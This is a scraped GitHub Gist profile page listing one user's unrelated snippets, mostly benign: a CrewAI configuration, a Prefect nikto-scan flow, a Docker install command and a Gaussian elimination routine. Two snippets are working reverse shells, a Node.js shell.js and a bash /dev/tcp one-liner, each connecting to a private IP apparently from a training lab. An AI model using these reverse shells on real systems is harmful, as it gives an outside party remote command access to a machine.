Skip to content

Instantly share code, notes, and snippets.

View th3happybit's full-sized avatar
:octocat:
^~^

Oussama Messabih th3happybit

:octocat:
^~^
View GitHub Profile
@th3happybit
th3happybit / main.py
Created August 5, 2024 12:43
CrewAI Agents using Custom Google Drive Tool
import os
# Set environment variables for API keys and endpoints
os.environ["OPENAI_API_TYPE"] = "azure"
os.environ["OPENAI_API_VERSION"] = "2024-02-15-preview"
os.environ["OPENAI_API_KEY"] = ""
os.environ["AZURE_OPENAI_ENDPOINT"] = ""
os.environ["SERPER_API_KEY"] = ""
# Import necessary libraries
@th3happybit
th3happybit / web_scanning_flow.py
Created March 10, 2024 13:01
Prefect Automation
from prefect import flow, task
import subprocess
@task
def run_nikto_scan(target):
# Nikto web server scanner
command = ["nikto", "-h", target]
result = subprocess.run(command, capture_output=True, text=True)
return result.stdout
@th3happybit
th3happybit / random-string-in-file
Created March 3, 2020 10:14
Random-string-in-file
python3 -c "import os,binascii; f=open('random-string-file.txt', 'a+'); f.write(binascii.hexlify(os.urandom(32)).decode()); f.close()"
apt-get update && apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common && curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - && sudo apt-key fingerprint 0EBFCD88 && sudo add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable" && apt-get update && apt-get install docker-ce docker-ce-cli containerd.io && curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose && ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
@th3happybit
th3happybit / shell.js
Last active September 18, 2019 20:12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.12.152", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.241/12344 0>&1'
import numpy as np
def GEPP(A, b, doPricing = True):
'''
Gaussian elimination with partial pivoting.
input: A is an n x n numpy matrix
b is an n x 1 numpy array
output: x is the solution of Ax=b
with the entries permuted in